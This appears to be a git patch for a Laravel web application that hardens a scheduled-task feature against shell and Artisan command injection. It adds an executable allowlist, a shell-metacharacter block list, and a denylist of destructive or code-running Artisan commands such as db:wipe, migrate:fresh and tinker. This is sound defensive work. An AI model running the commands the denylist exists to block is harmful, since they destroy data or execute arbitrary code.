From ce8e55b390d100dd28f569f1eebefb1882279b74 Mon Sep 17 00:00:00 2001 From: HeuJung Date: Tue, 14 Jul 2026 14:48:33 +0900 Subject: [PATCH] =?UTF-8?q?fix(security):=20=EC=8A=A4=EC=BC=80=EC=A4=84?= =?UTF-8?q?=EB=9F=AC=20Shell/Artisan=20=EB=AA=85=EB=A0=B9=20=EC=8B=A4?= =?UTF-8?q?=ED=96=89=20=ED=95=98=EB=93=9C=EB=8B=9D?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 미출시 예약 작업 기능에서 스케줄 권한만 위임받은 계정이 Shell/Artisan 명령으로 임의 코드를 실행할 수 있던 문제를 선제적으로 차단(KVE-2026-1567). Shell 은 기본 차단 + 실행 파일 화이트리스트 + 셸 미경유 인자배열 실행, Artisan 은 차단목록. 저장 시점(FormRequest)과 실행 시점(Service) 이중 검증. 아울러 공개 release 보다 앞선 미출시 버전들의 CHANGELOG 출시 날짜를 2026-07-14 로 통일. --- CHANGELOG.md | 3 +- .../Schedule/CreateScheduleRequest.php | 13 +- .../Schedule/UpdateScheduleRequest.php | 22 +- app/Rules/AllowedArtisanCommand.php | 41 +++ app/Rules/AllowedShellCommand.php | 41 +++ app/Services/ScheduleService.php | 36 +- app/Support/ScheduleCommandValidator.php | 149 ++++++++ config/schedule_security.php | 32 ++ docs/backend/api/schedules.md | 4 +- lang-packs/_bundled/g7-core-ja/CHANGELOG.md | 3 +- .../g7-core-ja/backend/ja/schedule.php | 2 + .../g7-core-ja/backend/ja/validation.php | 4 + .../CHANGELOG.md | 2 +- .../CHANGELOG.md | 2 +- .../CHANGELOG.md | 2 +- lang/en/schedule.php | 2 + lang/en/validation.php | 6 + lang/ko/schedule.php | 2 + lang/ko/validation.php | 6 + .../_bundled/sirsoft-ecommerce/CHANGELOG.md | 2 +- .../CHANGELOG.md | 2 +- .../Security/ScheduleCommandGuardTest.php | 328 ++++++++++++++++++ .../Support/ScheduleCommandValidatorTest.php | 278 +++++++++++++++ 23 files changed, 957 insertions(+), 25 deletions(-) create mode 100644 app/Rules/AllowedArtisanCommand.php create mode 100644 app/Rules/AllowedShellCommand.php create mode 100644 app/Support/ScheduleCommandValidator.php create mode 100644 config/schedule_security.php create mode 100644 tests/Feature/Security/ScheduleCommandGuardTest.php create mode 100644 tests/Unit/Support/ScheduleCommandValidatorTest.php diff --git a/CHANGELOG.md b/CHANGELOG.md index 7c4e9bcf..4dfc33c8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,13 +4,14 @@ 형식은 [Keep a Changelog](https://keepachangelog.com/ko/1.1.0/)를 따르며, [Semantic Versioning](https://semver.org/lang/ko/)을 준수합니다. -## [7.0.4] - 2026-07-11 +## [7.0.4] - 2026-07-14 ### Security - 서버가 외부 주소를 대신 호출하는 기능들에서, 사내 서버나 클라우드 관리 주소처럼 외부에 공개되지 않은 내부 주소를 호출 대상으로 지정할 수 없도록 차단했습니다. 언어팩을 주소로 내려받을 때, 예약 작업으로 주소를 호출할 때, 쇼핑몰 배송비를 외부 계산 서버로 문의할 때가 해당합니다. 사내 서버를 주기적으로 호출하는 등 내부 주소가 꼭 필요한 운영 환경을 위해, 환경설정 > 보안에 "내부 네트워크 주소 호출 허용" 항목을 새로 추가했습니다. 이 항목은 기본적으로 꺼져 있습니다. - 주소를 검사할 때 앞부분만 맞으면 통과시키던 방식을 실제 주소가 정확히 일치하는지 확인하도록 바로잡았습니다. 이전에는 신뢰하는 주소를 앞에 붙인 가짜 주소가 검사를 통과할 수 있었습니다. 본인인증 연동과 언어팩 업데이트 확인에 적용됩니다. (KISA 측에서 제보해주셨습니다 — KVE-2026-1546) - 배포본에 원본 소스코드가 그대로 담긴 파일(소스맵)이 함께 포함되어, 누구나 주소만 알면 내려받아 볼 수 있던 문제를 차단했습니다. 이제 배포용으로 빌드하면 이 파일이 아예 만들어지지 않으며, 기존에 포함되어 있던 파일도 모두 제거했습니다. 아울러 이 파일이 서버에 남아 있더라도 웹으로는 내려받을 수 없도록 막았습니다. 내 컴퓨터에서 개발용으로 빌드할 때는 디버깅에 필요하므로 이전과 동일하게 생성됩니다. (#72 @glitter-gim 님께서 건의해주셨습니다.) +- 아직 공개하지 않은 예약 작업 기능에서, 서버 명령을 실행하는 두 유형(쉘 명령·Artisan 명령)에 대해 향후 정식 공개에 대비한 실행 제한 장치를 미리 마련했습니다. 쉘 명령 예약은 기본적으로 완전히 차단되며 서버 관리자가 실행 파일을 명시적으로 등록해야만 사용할 수 있고(관리자 화면에서는 넓힐 수 없습니다), Artisan 명령 예약도 데이터를 지우거나 임의 코드를 실행할 수 있는 위험한 명령은 거부됩니다. 이 기능은 현재 메뉴에 노출되지 않아 실제 사용 경로가 없습니다. (KISA 측에서 제보해주셨습니다 — KVE-2026-1567) ### Fixed diff --git a/app/Http/Requests/Schedule/CreateScheduleRequest.php b/app/Http/Requests/Schedule/CreateScheduleRequest.php index 9fa9bd91..afedf825 100644 --- a/app/Http/Requests/Schedule/CreateScheduleRequest.php +++ b/app/Http/Requests/Schedule/CreateScheduleRequest.php @@ -6,6 +6,8 @@ use App\Enums\ExtensionOwnerType; use App\Enums\ScheduleFrequency; use App\Enums\ScheduleType; use App\Extension\HookManager; +use App\Rules\AllowedArtisanCommand; +use App\Rules\AllowedShellCommand; use App\Rules\PublicOutboundUrl; use Illuminate\Contracts\Validation\ValidationRule; use Illuminate\Foundation\Http\FormRequest; @@ -38,7 +40,8 @@ class CreateScheduleRequest extends FormRequest 'name' => 'required|string|max:255', 'description' => 'nullable|string|max:1000', 'type' => "required|string|in:{$types}", - // URL 호출 스케줄이면 command 가 곧 서버의 outbound 목적지가 되므로 내부망 주소를 차단한다 + // command 는 타입별로 서버의 outbound 목적지(URL)·OS 명령(Shell)·PHP 코드(Artisan)가 되므로 + // 각 타입에 맞는 실행 허용 검증을 저장 시점에 건다 'command' => [ 'required', 'string', @@ -47,6 +50,14 @@ class CreateScheduleRequest extends FormRequest $this->input('type') === ScheduleType::Url->value, [new PublicOutboundUrl], ), + Rule::when( + $this->input('type') === ScheduleType::Shell->value, + [new AllowedShellCommand], + ), + Rule::when( + $this->input('type') === ScheduleType::Artisan->value, + [new AllowedArtisanCommand], + ), ], 'expression' => 'required|string|max:100', 'frequency' => "required|string|in:{$frequencies}", diff --git a/app/Http/Requests/Schedule/UpdateScheduleRequest.php b/app/Http/Requests/Schedule/UpdateScheduleRequest.php index b61e5736..da222cec 100644 --- a/app/Http/Requests/Schedule/UpdateScheduleRequest.php +++ b/app/Http/Requests/Schedule/UpdateScheduleRequest.php @@ -7,6 +7,8 @@ use App\Enums\ScheduleFrequency; use App\Enums\ScheduleType; use App\Extension\HookManager; use App\Models\Schedule; +use App\Rules\AllowedArtisanCommand; +use App\Rules\AllowedShellCommand; use App\Rules\PublicOutboundUrl; use Illuminate\Contracts\Validation\ValidationRule; use Illuminate\Foundation\Http\FormRequest; @@ -38,13 +40,16 @@ class UpdateScheduleRequest extends FormRequest 'name' => 'sometimes|required|string|max:255', 'description' => 'nullable|string|max:1000', 'type' => "sometimes|required|string|in:{$types}", - // URL 호출 스케줄이면 command 가 곧 서버의 outbound 목적지가 되므로 내부망 주소를 차단한다 + // command 는 타입별로 서버의 outbound 목적지(URL)·OS 명령(Shell)·PHP 코드(Artisan)가 되므로 + // 각 타입에 맞는 실행 허용 검증을 저장 시점에 건다 'command' => [ 'sometimes', 'required', 'string', 'max:2000', - Rule::when($this->resolvesToUrlSchedule(), [new PublicOutboundUrl]), + Rule::when($this->resolvesToScheduleType(ScheduleType::Url), [new PublicOutboundUrl]), + Rule::when($this->resolvesToScheduleType(ScheduleType::Shell), [new AllowedShellCommand]), + Rule::when($this->resolvesToScheduleType(ScheduleType::Artisan), [new AllowedArtisanCommand]), ], 'expression' => 'sometimes|required|string|max:100', 'frequency' => "sometimes|required|string|in:{$frequencies}", @@ -61,22 +66,23 @@ class UpdateScheduleRequest extends FormRequest } /** - * 이번 수정 결과 URL 호출 스케줄이 되는지 판정합니다. + * 이번 수정 결과 스케줄이 주어진 타입이 되는지 판정합니다. * * PATCH 라 `type` 이 요청에 없을 수 있으므로, 없으면 저장된 스케줄의 타입을 기준으로 - * 판정한다 — 그렇지 않으면 기존 url 스케줄의 command 만 바꾸는 요청이 검증을 비껴간다. + * 판정한다 — 그렇지 않으면 기존 스케줄의 command 만 바꾸는 요청이 검증을 비껴간다. * - * @return bool URL 호출 스케줄이면 true + * @param ScheduleType $type 판정할 스케줄 타입 + * @return bool 해당 타입의 스케줄이면 true */ - protected function resolvesToUrlSchedule(): bool + protected function resolvesToScheduleType(ScheduleType $type): bool { if ($this->has('type')) { - return $this->input('type') === ScheduleType::Url->value; + return $this->input('type') === $type->value; } $schedule = $this->route('schedule'); - return $schedule instanceof Schedule && $schedule->type === ScheduleType::Url; + return $schedule instanceof Schedule && $schedule->type === $type; } /** diff --git a/app/Rules/AllowedArtisanCommand.php b/app/Rules/AllowedArtisanCommand.php new file mode 100644 index 00000000..d3dae0ef --- /dev/null +++ b/app/Rules/AllowedArtisanCommand.php @@ -0,0 +1,41 @@ + $result['output'] ?? null, ]); - // 스케줄 상태 업데이트 + // 스케줄 상태 업데이트 (다음 실행 시각은 모델이 계산, 영속화는 Repository 경유) $schedule->last_result = ScheduleResultStatus::Success; $schedule->calculateNextRunAt(); - $schedule->save(); + $this->scheduleRepository->update($schedule, [ + 'last_result' => ScheduleResultStatus::Success, + 'next_run_at' => $schedule->next_run_at, + ]); // after_run 훅 실행 HookManager::doAction('core.schedule.after_run', $schedule, $history); @@ -226,10 +229,13 @@ class ScheduleService 'error_output' => $e->getMessage(), ]); - // 스케줄 상태 업데이트 + // 스케줄 상태 업데이트 (다음 실행 시각은 모델이 계산, 영속화는 Repository 경유) $schedule->last_result = ScheduleResultStatus::Failed; $schedule->calculateNextRunAt(); - $schedule->save(); + $this->scheduleRepository->update($schedule, [ + 'last_result' => ScheduleResultStatus::Failed, + 'next_run_at' => $schedule->next_run_at, + ]); Log::error('Schedule execution failed', [ 'schedule_id' => $schedule->id, @@ -247,10 +253,16 @@ class ScheduleService * * @param Schedule $schedule 스케줄 * @return array 실행 결과 + * + * @throws Exception 차단목록에 걸린 명령일 때 */ private function executeArtisanCommand(Schedule $schedule): array { - $output = ''; + // 저장 시점 검증 도입 이전 데이터나 DB 직접 수정으로 들어온 값을 방어한다 + // (isUrlCallAllowed 와 동일 사유 — 실행 직전이 마지막 방어선). + if (! ScheduleCommandValidator::isArtisanCommandAllowed($schedule->command)) { + throw new Exception(__('schedule.artisan_not_allowed')); + } Artisan::call($schedule->command, [], new BufferedOutput); @@ -270,9 +282,19 @@ class ScheduleService */ private function executeShellCommand(Schedule $schedule): array { + // 저장 시점 검증 도입 이전 데이터나 DB 직접 수정으로 들어온 값을 방어한다 + // (isUrlCallAllowed 와 동일 사유 — 실행 직전이 마지막 방어선). + $arguments = ScheduleCommandValidator::tokenizeShellCommand($schedule->command); + + if ($arguments === null || ! ScheduleCommandValidator::isShellCommandAllowed($schedule->command)) { + throw new Exception(__('schedule.shell_not_allowed')); + } + $timeout = $schedule->timeout ?? 60; - $result = Process::timeout($timeout)->run($schedule->command); + // 문자열이 아닌 인자 배열로 넘겨 `/bin/sh -c` 를 경유하지 않는다 — + // 파이프·`;`·`$()` 같은 셸 메타문자가 명령으로 해석될 여지를 없앤다. + $result = Process::timeout($timeout)->run($arguments); if ($result->failed()) { throw new Exception($result->errorOutput() ?: __('schedule.shell_command_failed'), $result->exitCode()); diff --git a/app/Support/ScheduleCommandValidator.php b/app/Support/ScheduleCommandValidator.php new file mode 100644 index 00000000..11f09d2d --- /dev/null +++ b/app/Support/ScheduleCommandValidator.php @@ -0,0 +1,149 @@ +', '<', '(', ')', '{', '}', + '*', '?', '!', '\\', '"', "'", "\n", "\r", "\t", + ]; + + /** + * Shell 타입 command 를 실행해도 되는지 판정합니다. + * + * 게이트가 켜져 있고, 화이트리스트가 비어있지 않으며, 메타문자가 없고, + * 첫 토큰의 basename 이 화이트리스트와 완전 일치할 때만 true. + * + * @param string $command 스케줄에 저장된 shell command 문자열 + * @return bool 실행을 허용하면 true + */ + public static function isShellCommandAllowed(string $command): bool + { + if (! (bool) config('schedule_security.shell.enabled', false)) { + return false; + } + + $allowed = array_values(array_filter(array_map( + static fn ($binary): string => trim((string) $binary), + (array) config('schedule_security.shell.allowed_binaries', []), + ))); + + if ($allowed === []) { + return false; + } + + $tokens = self::tokenize($command); + + if ($tokens === null || $tokens === []) { + return false; + } + + return in_array(basename($tokens[0]), $allowed, true); + } + + /** + * Shell command 를 `Process::run(array)` 에 넘길 안전한 인자 배열로 변환합니다. + * + * 메타문자가 섞여 있으면 셸 미경유 실행이 불가하므로 null 을 반환한다. + * + * @param string $command 스케줄에 저장된 shell command 문자열 + * @return array|null 인자 배열, 안전하게 토큰화할 수 없으면 null + */ + public static function tokenizeShellCommand(string $command): ?array + { + return self::tokenize($command); + } + + /** + * Artisan command 문자열에서 명령명(첫 토큰)을 추출합니다. + * + * @param string $command 스케줄에 저장된 artisan command 문자열 + * @return string|null 명령명, 빈 문자열이면 null + */ + public static function extractArtisanCommandName(string $command): ?string + { + $trimmed = trim($command); + + if ($trimmed === '') { + return null; + } + + $tokens = preg_split('/\s+/', $trimmed); + + return ($tokens === false || $tokens === []) ? null : $tokens[0]; + } + + /** + * Artisan command 가 차단목록에 걸리지 않는지 판정합니다. + * + * @param string $command 스케줄에 저장된 artisan command 문자열 + * @return bool 실행을 허용하면 true + */ + public static function isArtisanCommandAllowed(string $command): bool + { + $name = self::extractArtisanCommandName($command); + + if ($name === null) { + return false; + } + + $denylist = array_map( + static fn ($denied): string => strtolower(trim((string) $denied)), + (array) config('schedule_security.artisan.denylist', []), + ); + + return ! in_array(strtolower($name), $denylist, true); + } + + /** + * 메타문자 없는 공백 구분 토큰화. 메타문자가 있으면 null 을 반환합니다. + * + * 따옴표 escape 처리 버그를 원천 회피하기 위해, 따옴표를 포함한 복잡한 명령은 + * 지원하지 않고 거부하는 보수적 구현이다(복합 명령은 래퍼 스크립트로 유도). + * + * @param string $command command 문자열 + * @return array|null 토큰 배열, 안전하지 않으면 null + */ + private static function tokenize(string $command): ?array + { + $command = trim($command); + + if ($command === '') { + return null; + } + + // 제어문자(개행 포함)가 섞인 명령은 즉시 거부 + if (preg_match('/[\x00-\x1F\x7F]/', $command) === 1) { + return null; + } + + foreach (self::SHELL_METACHARACTERS as $meta) { + if (str_contains($command, $meta)) { + return null; + } + } + + $tokens = preg_split('/\s+/', $command); + + return ($tokens === false || $tokens === []) ? null : $tokens; + } +} diff --git a/config/schedule_security.php b/config/schedule_security.php new file mode 100644 index 00000000..4a65d5ac --- /dev/null +++ b/config/schedule_security.php @@ -0,0 +1,32 @@ + [ + // Shell 타입 스케줄 실행 자체를 켜는 opt-in 게이트 (기본 차단). + 'enabled' => env('SCHEDULE_SHELL_ENABLED', false), + + // 허용 실행 파일 basename 목록. 빈 배열이면 모든 shell 명령을 거부한다. + 'allowed_binaries' => array_values(array_filter(array_map( + 'trim', + explode(',', (string) env('SCHEDULE_SHELL_ALLOWED_BINARIES', '')), + ))), + ], + + 'artisan' => [ + // 파괴적·코드 실행형 artisan 명령 차단목록 (첫 토큰 기준). + 'denylist' => [ + 'tinker', + 'db:wipe', + 'migrate:fresh', + 'migrate:reset', + 'migrate:rollback', + 'schedule:run', + 'schedule:work', + 'env:decrypt', + 'key:generate', + ], + ], +]; diff --git a/docs/backend/api/schedules.md b/docs/backend/api/schedules.md index 8242eadc..37451897 100644 --- a/docs/backend/api/schedules.md +++ b/docs/backend/api/schedules.md @@ -170,7 +170,7 @@ HTTP/1.1 200 | name | body | string | 예 | max 255 | 대상의 이름/명칭 | | description | body | string | 아니오 | max 1000 | 설명 | | type | body | string | 예 | `artisan`, `shell`, `url` | 작업 유형: artisan(Artisan 커맨드 실행), shell(쉘 명령 실행), url(URL 호출) | -| command | body | string | 예 | max 2000 | 실행할 명령 (`type` 에 따라 Artisan 커맨드 / 쉘 명령 / 호출할 URL). `type=url` 이면 내부 네트워크 주소(사설 IP·루프백·`localhost`·`*.internal` 등)는 거부되어 422 로 응답합니다 — 서버가 내부망으로 요청을 보내는 것을 막기 위함(SSRF). 사내 엔드포인트를 호출해야 하면 환경설정의 `security.allow_internal_outbound_urls` 를 켜세요. 이 설정을 켜도 userinfo(`https://a@b/`) 위장과 http/https 이외 scheme 은 계속 거부됩니다 | +| command | body | string | 예 | max 2000 | 실행할 명령 (`type` 에 따라 Artisan 커맨드 / 쉘 명령 / 호출할 URL). `type=url` 이면 내부 네트워크 주소(사설 IP·루프백·`localhost`·`*.internal` 등)는 거부되어 422 로 응답합니다 — 서버가 내부망으로 요청을 보내는 것을 막기 위함(SSRF). 사내 엔드포인트를 호출해야 하면 환경설정의 `security.allow_internal_outbound_urls` 를 켜세요. 이 설정을 켜도 userinfo(`https://a@b/`) 위장과 http/https 이외 scheme 은 계속 거부됩니다.
`type=shell` 이면 기본적으로 모든 명령이 거부되어 422 로 응답합니다 — 스케줄 권한만 위임받은 계정이 서버에서 임의 OS 명령을 실행하는 것을 막기 위함입니다. 실행하려면 서버의 `.env` 에서 `SCHEDULE_SHELL_ENABLED=true` 로 게이트를 열고 `SCHEDULE_SHELL_ALLOWED_BINARIES` 에 허용할 실행 파일명을 등록해야 합니다(관리자 화면에서는 넓힐 수 없는 코드 소유 정책). 허용된 실행 파일이라도 셸 메타문자(`|`, `;`, `$`, 백틱, 리다이렉션, 따옴표 등)가 포함되면 거부되며, 실행 시 셸을 경유하지 않습니다. 복합 명령이 필요하면 래퍼 스크립트를 만들어 화이트리스트에 등록하세요.
`type=artisan` 이면 `tinker`·`db:wipe`·`migrate:fresh`·`migrate:reset`·`migrate:rollback`·`schedule:run`·`schedule:work`·`env:decrypt`·`key:generate` 같은 코드 실행형·파괴적 명령이 거부되어 422 로 응답합니다 | | expression | body | string | 예 | max 100 | 실행 시각을 정의하는 Cron 표현식 (예: `0 3 * * *`, 다음 실행 시각 next_run_at 계산의 기준) | | frequency | body | string | 예 | `everyMinute`, `hourly`, `daily`, `weekly`, `monthly`, `custom` | 실행 주기 | | without_overlapping | body | boolean | 아니오 | — | 중복 실행 방지 여부 | @@ -680,7 +680,7 @@ HTTP/1.1 200 | name | body | string | 예 | max 255 | 대상의 이름/명칭 | | description | body | string | 아니오 | max 1000 | 설명 | | type | body | string | 예 | `artisan`, `shell`, `url` | 작업 유형: artisan(Artisan 커맨드 실행), shell(쉘 명령 실행), url(URL 호출) | -| command | body | string | 예 | max 2000 | 실행할 명령 (`type` 에 따라 Artisan 커맨드 / 쉘 명령 / 호출할 URL). `type=url` 이면 내부 네트워크 주소(사설 IP·루프백·`localhost`·`*.internal` 등)는 거부되어 422 로 응답합니다 — 서버가 내부망으로 요청을 보내는 것을 막기 위함(SSRF). 사내 엔드포인트를 호출해야 하면 환경설정의 `security.allow_internal_outbound_urls` 를 켜세요. 이 설정을 켜도 userinfo(`https://a@b/`) 위장과 http/https 이외 scheme 은 계속 거부됩니다 | +| command | body | string | 예 | max 2000 | 실행할 명령 (`type` 에 따라 Artisan 커맨드 / 쉘 명령 / 호출할 URL). `type=url` 이면 내부 네트워크 주소(사설 IP·루프백·`localhost`·`*.internal` 등)는 거부되어 422 로 응답합니다 — 서버가 내부망으로 요청을 보내는 것을 막기 위함(SSRF). 사내 엔드포인트를 호출해야 하면 환경설정의 `security.allow_internal_outbound_urls` 를 켜세요. 이 설정을 켜도 userinfo(`https://a@b/`) 위장과 http/https 이외 scheme 은 계속 거부됩니다.
`type=shell` 이면 기본적으로 모든 명령이 거부되어 422 로 응답합니다 — 스케줄 권한만 위임받은 계정이 서버에서 임의 OS 명령을 실행하는 것을 막기 위함입니다. 실행하려면 서버의 `.env` 에서 `SCHEDULE_SHELL_ENABLED=true` 로 게이트를 열고 `SCHEDULE_SHELL_ALLOWED_BINARIES` 에 허용할 실행 파일명을 등록해야 합니다(관리자 화면에서는 넓힐 수 없는 코드 소유 정책). 허용된 실행 파일이라도 셸 메타문자(`|`, `;`, `$`, 백틱, 리다이렉션, 따옴표 등)가 포함되면 거부되며, 실행 시 셸을 경유하지 않습니다. 복합 명령이 필요하면 래퍼 스크립트를 만들어 화이트리스트에 등록하세요.
`type=artisan` 이면 `tinker`·`db:wipe`·`migrate:fresh`·`migrate:reset`·`migrate:rollback`·`schedule:run`·`schedule:work`·`env:decrypt`·`key:generate` 같은 코드 실행형·파괴적 명령이 거부되어 422 로 응답합니다 | | expression | body | string | 예 | max 100 | 실행 시각을 정의하는 Cron 표현식 (예: `0 3 * * *`, 다음 실행 시각 next_run_at 계산의 기준) | | frequency | body | string | 예 | `everyMinute`, `hourly`, `daily`, `weekly`, `monthly`, `custom` | 실행 주기 | | without_overlapping | body | boolean | 아니오 | — | 중복 실행 방지 여부 | diff --git a/lang-packs/_bundled/g7-core-ja/CHANGELOG.md b/lang-packs/_bundled/g7-core-ja/CHANGELOG.md index 2f07eb6d..e332b509 100644 --- a/lang-packs/_bundled/g7-core-ja/CHANGELOG.md +++ b/lang-packs/_bundled/g7-core-ja/CHANGELOG.md @@ -4,12 +4,13 @@ 형식은 [Keep a Changelog](https://keepachangelog.com/ko/1.1.0/)를 따르며, [Semantic Versioning](https://semver.org/lang/ko/)을 준수합니다. -## [1.0.4] - 2026-07-12 +## [1.0.4] - 2026-07-14 ### Added - 화면 구성에 필요한 스크립트를 끝내 불러오지 못했을 때 표시되는 안내 문구 일본어 번역 추가 (`errors.bootstrap.*`) — 네트워크 문제로 페이지를 열지 못한 경우의 안내와 새로고침 버튼이 일본어 로케일에서 자연스럽게 표시됩니다. - 내부 네트워크 주소 호출 차단 관련 안내 문구 일본어 번역 추가 (`validation.outbound_url.*`, `schedule.url_not_public`, `language_packs.errors.download_url_not_public`, `settings.websocket_invalid_host`) — 예약 작업·언어팩 설치·웹소켓 설정에서 내부 주소가 거부될 때의 안내가 일본어 로케일에서 자연스럽게 표시됩니다. +- 아직 공개하지 않은 예약 작업 기능의 쉘·Artisan 명령 실행 제한 안내 문구 일본어 번역 추가 (`schedule.shell_not_allowed`, `schedule.artisan_not_allowed`, `validation.schedule_command.*`) — 향후 정식 공개에 대비한 것으로, 허용되지 않은 쉘 명령이나 위험한 Artisan 명령이 거부될 때의 안내가 일본어 로케일에서 자연스럽게 표시됩니다. ## [1.0.3] - 2026-07-11 diff --git a/lang-packs/_bundled/g7-core-ja/backend/ja/schedule.php b/lang-packs/_bundled/g7-core-ja/backend/ja/schedule.php index a539b662..b6b28d0c 100644 --- a/lang-packs/_bundled/g7-core-ja/backend/ja/schedule.php +++ b/lang-packs/_bundled/g7-core-ja/backend/ja/schedule.php @@ -101,4 +101,6 @@ return [ 'run' => 'スケジュール実行', ], 'url_not_public' => '内部ネットワークアドレス(プライベートIP·localhost等)は呼び出せません。社内アドレスを呼び出す必要がある場合は、環境設定 > セキュリティで「内部ネットワークアドレス呼び出し許可」をオンにしてください。', + 'shell_not_allowed' => '許可されていないシェルコマンドです。サーバーに登録された実行ファイルのみスケジュールで実行できます。', + 'artisan_not_allowed' => 'このArtisanコマンドはセキュリティ上の理由によりスケジュールで実行できません。', ]; diff --git a/lang-packs/_bundled/g7-core-ja/backend/ja/validation.php b/lang-packs/_bundled/g7-core-ja/backend/ja/validation.php index 71662e29..df01b587 100644 --- a/lang-packs/_bundled/g7-core-ja/backend/ja/validation.php +++ b/lang-packs/_bundled/g7-core-ja/backend/ja/validation.php @@ -1019,4 +1019,8 @@ return [ 'invalid' => '正しい形式のURLではありません。http または https で始まるアドレスを入力してください。', 'internal_not_allowed' => '内部ネットワークアドレス(プライベートIP·localhost など)は使用できません。外部からアクセス可能なアドレスを入力してください。', ], + 'schedule_command' => [ + 'shell_not_allowed' => '許可されていないシェルコマンドです。サーバーに登録された実行ファイルのみ使用でき、パイプ(|)・セミコロン(;)などの特殊文字は使用できません。', + 'artisan_denied' => 'このArtisanコマンドはセキュリティ上、スケジュールで実行することはできません。', + ], ]; diff --git a/lang-packs/_bundled/g7-module-sirsoft-ecommerce-ja/CHANGELOG.md b/lang-packs/_bundled/g7-module-sirsoft-ecommerce-ja/CHANGELOG.md index b80766cb..1ef02dee 100644 --- a/lang-packs/_bundled/g7-module-sirsoft-ecommerce-ja/CHANGELOG.md +++ b/lang-packs/_bundled/g7-module-sirsoft-ecommerce-ja/CHANGELOG.md @@ -4,7 +4,7 @@ 형식은 [Keep a Changelog](https://keepachangelog.com/ko/1.1.0/)를 따르며, [Semantic Versioning](https://semver.org/lang/ko/)을 준수합니다. -## [1.0.3] - 2026-07-10 +## [1.0.3] - 2026-07-14 ### Added diff --git a/lang-packs/_bundled/g7-plugin-sirsoft-verification_kginicis-ja/CHANGELOG.md b/lang-packs/_bundled/g7-plugin-sirsoft-verification_kginicis-ja/CHANGELOG.md index 6f5dccdf..01c43184 100644 --- a/lang-packs/_bundled/g7-plugin-sirsoft-verification_kginicis-ja/CHANGELOG.md +++ b/lang-packs/_bundled/g7-plugin-sirsoft-verification_kginicis-ja/CHANGELOG.md @@ -4,7 +4,7 @@ 형식은 [Keep a Changelog](https://keepachangelog.com/ko/1.1.0/)를 따르며, [Semantic Versioning](https://semver.org/lang/ko/)을 준수합니다. -## [1.0.1] - 2026-07-09 +## [1.0.1] - 2026-07-14 ### Changed diff --git a/lang-packs/_bundled/g7-template-sirsoft-admin_basic-ja/CHANGELOG.md b/lang-packs/_bundled/g7-template-sirsoft-admin_basic-ja/CHANGELOG.md index 7027fd90..45bf9ed3 100644 --- a/lang-packs/_bundled/g7-template-sirsoft-admin_basic-ja/CHANGELOG.md +++ b/lang-packs/_bundled/g7-template-sirsoft-admin_basic-ja/CHANGELOG.md @@ -4,7 +4,7 @@ 형식은 [Keep a Changelog](https://keepachangelog.com/ko/1.1.0/)를 따르며, [Semantic Versioning](https://semver.org/lang/ko/)을 준수합니다. -## [1.0.3] - 2026-07-13 +## [1.0.3] - 2026-07-14 ### Added diff --git a/lang/en/schedule.php b/lang/en/schedule.php index 3058e440..e3d5e8f4 100644 --- a/lang/en/schedule.php +++ b/lang/en/schedule.php @@ -29,6 +29,8 @@ return [ 'shell_command_failed' => 'Shell command execution failed.', 'http_request_failed' => 'HTTP request failed with status: :status', 'url_not_public' => 'Internal network addresses (private IPs, localhost, etc.) cannot be called. To call an address inside your network, enable "Allow internal network addresses" under Settings > Security.', + 'shell_not_allowed' => 'This shell command is not allowed. Only executables registered on the server can be run as a schedule.', + 'artisan_not_allowed' => 'This Artisan command cannot be run as a schedule for security reasons.', // Task types 'type' => [ diff --git a/lang/en/validation.php b/lang/en/validation.php index 615b858c..71f2d15b 100644 --- a/lang/en/validation.php +++ b/lang/en/validation.php @@ -510,6 +510,12 @@ return [ 'internal_not_allowed' => 'Internal network addresses (private IPs, localhost, etc.) are not allowed. Enter a publicly reachable address.', ], + // Schedule command (shell/Artisan) validation messages — these run on the server + 'schedule_command' => [ + 'shell_not_allowed' => 'This shell command is not allowed. Only executables registered on the server may be used, and special characters such as pipes (|) or semicolons (;) are not permitted.', + 'artisan_denied' => 'This Artisan command cannot be run as a schedule for security reasons.', + ], + // Component existence validation messages 'component' => [ 'template_id_required' => 'template_id is required for component validation.', diff --git a/lang/ko/schedule.php b/lang/ko/schedule.php index 87f4b22e..5584bc61 100644 --- a/lang/ko/schedule.php +++ b/lang/ko/schedule.php @@ -29,6 +29,8 @@ return [ 'shell_command_failed' => '쉘 명령 실행에 실패했습니다.', 'http_request_failed' => 'HTTP 요청 실패 (상태: :status)', 'url_not_public' => '내부 네트워크 주소(사설 IP·localhost 등)는 호출할 수 없습니다. 사내 주소를 호출해야 한다면 환경설정 > 보안에서 "내부 네트워크 주소 호출 허용"을 켜주세요.', + 'shell_not_allowed' => '허용되지 않은 쉘 명령입니다. 서버에 등록된 실행 파일만 스케줄로 실행할 수 있습니다.', + 'artisan_not_allowed' => '이 Artisan 명령은 보안상 스케줄로 실행할 수 없습니다.', // 작업 유형 'type' => [ diff --git a/lang/ko/validation.php b/lang/ko/validation.php index e8e5d85b..02c496e5 100644 --- a/lang/ko/validation.php +++ b/lang/ko/validation.php @@ -509,6 +509,12 @@ return [ 'internal_not_allowed' => '내부 네트워크 주소(사설 IP·localhost 등)는 사용할 수 없습니다. 외부에서 접속 가능한 주소를 입력해 주세요.', ], + // 서버에서 실행되는 스케줄 command(쉘·Artisan) 검증 메시지 + 'schedule_command' => [ + 'shell_not_allowed' => '허용되지 않은 쉘 명령입니다. 서버에 등록된 실행 파일만 사용할 수 있으며, 파이프(|)·세미콜론(;) 등 특수문자는 쓸 수 없습니다.', + 'artisan_denied' => '이 Artisan 명령은 보안상 스케줄로 실행할 수 없습니다.', + ], + // 컴포넌트 존재 여부 검증 메시지 'component' => [ 'template_id_required' => '컴포넌트 검증을 위해서는 template_id가 필요합니다.', diff --git a/modules/_bundled/sirsoft-ecommerce/CHANGELOG.md b/modules/_bundled/sirsoft-ecommerce/CHANGELOG.md index cde29d96..597ee66c 100644 --- a/modules/_bundled/sirsoft-ecommerce/CHANGELOG.md +++ b/modules/_bundled/sirsoft-ecommerce/CHANGELOG.md @@ -4,7 +4,7 @@ 형식은 [Keep a Changelog](https://keepachangelog.com/ko/1.1.0/)를 따르며, [Semantic Versioning](https://semver.org/lang/ko/)을 준수합니다. -## [1.0.3] - 2026-07-10 +## [1.0.3] - 2026-07-14 ### Security diff --git a/plugins/_bundled/sirsoft-verification_kginicis/CHANGELOG.md b/plugins/_bundled/sirsoft-verification_kginicis/CHANGELOG.md index a799f4ec..4344d7f4 100644 --- 